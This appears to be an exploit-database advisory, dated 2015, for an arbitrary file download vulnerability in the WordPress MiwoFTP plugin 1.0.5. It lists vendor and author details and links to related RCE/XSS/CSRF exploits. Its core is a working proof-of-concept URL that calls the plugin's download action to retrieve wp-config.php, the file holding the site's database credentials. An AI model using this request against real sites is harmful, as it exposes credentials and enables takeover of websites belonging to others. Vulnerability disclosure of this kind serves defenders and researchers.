31 lines
No EOL
992 B
Text
31 lines
No EOL
992 B
Text
# Exploit Title :WordPress MiwoFTP Plugin 1.0.5 Arbitrary File Download Exploit
|
||
# Vendor :Miwisoft LLC
|
||
# Vendor Homepage :http://www.miwisoft.com
|
||
# Version :1.0.5
|
||
# Tested on :Win7/Chrome/Firefox
|
||
# Exploit Author :Necmettin COSKUN =>@babayarisi
|
||
# Discovery date :04/15/2015
|
||
|
||
|
||
MiwoFTP is a file manager plugin for Wordpress.
|
||
|
||
|
||
Description
|
||
================
|
||
Wordpress MiwoFTP Plugin 1.0.5 suffers from arbitrary file download vulnerability.
|
||
|
||
Poc Exploit
|
||
================
|
||
http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&srt=yes
|
||
|
||
================
|
||
#RCE/XSS/CSRF by Gjoko 'LiquidWorm' Krstic
|
||
|
||
#http://www.exploit-db.com/exploits/36763/
|
||
#http://www.exploit-db.com/exploits/36762/
|
||
#http://www.exploit-db.com/exploits/36761/
|
||
================
|
||
|
||
Discovered by:
|
||
================
|
||
Necmettin COSKUN |GrisapkaGuvenlikGrubu|4ewa2getha! |